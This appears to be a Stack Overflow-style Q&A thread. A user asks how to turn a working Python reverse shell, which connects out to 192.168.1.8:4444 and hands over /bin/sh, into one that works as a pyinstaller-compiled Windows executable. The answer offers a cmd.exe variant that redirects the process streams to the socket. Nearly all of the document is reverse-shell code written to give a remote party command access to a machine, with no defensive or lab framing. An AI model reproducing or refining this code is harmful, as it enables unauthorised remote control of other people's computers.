python reverse shell for windows?

203 Views Asked by At

i have this piece of code

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.8",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

This works well on Linux but not on Windows. I compilie it using pyinstaller and when I run it on Windows i get a bad file descriptor on line 4. how do I make a reverse shell that works on Windows with this method?

1

There are 1 best solutions below

8
ProfDFrancis On

Try changing the Linux shell call to a Windows one

import socket, os, subprocess

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.8",4444))

p = subprocess.Popen(['cmd.exe', '/c', 'ver'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

print("File descriptor is: ", s.fileno())  

print("About to redirect stdin")
os.dup2(s.fileno(), p.stdin.fileno())

print("About to redirect stdout")
os.dup2(s.fileno(), p.stdout.fileno())

print("About to redirect stderr")
os.dup2(s.fileno(), p.stderr.fileno())

p.wait()